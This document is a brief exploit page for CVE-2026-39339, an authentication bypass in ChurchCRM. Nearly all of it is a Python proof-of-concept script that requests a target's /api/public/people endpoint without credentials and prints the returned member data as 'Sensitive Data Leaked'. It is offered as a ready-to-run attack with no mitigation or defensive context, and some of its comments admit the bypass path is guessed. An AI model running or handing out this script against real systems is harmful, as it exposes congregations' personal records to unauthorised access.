CVE-2026-39339 ChurchCRM认证绕过漏洞

import requests # Target configuration target_host = "http://target-churchcrm-instance.com" # The vulnerability allows accessing protected endpoints by including "api/public" in the URL. # For example, accessing /api/users (protected) might be bypassed by requesting /api/public/users # or simply ensuring the string exists in the path depending on the router implementation. # Example endpoint to retrieve sensitive data # In a real scenario, an attacker would enumerate API endpoints. poc_url = f"{target_host}/api/public/people" # Accessing member data without auth headers = { "User-Agent": "CVE-2026-39339-Scanner/1.0", "Accept": "application/json" } try: response = requests.get(poc_url, headers=headers, timeout=10) if response.status_code == 200: print("[+] Vulnerability Exploited Successfully!") print("[+] Sensitive Data Leaked:") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}")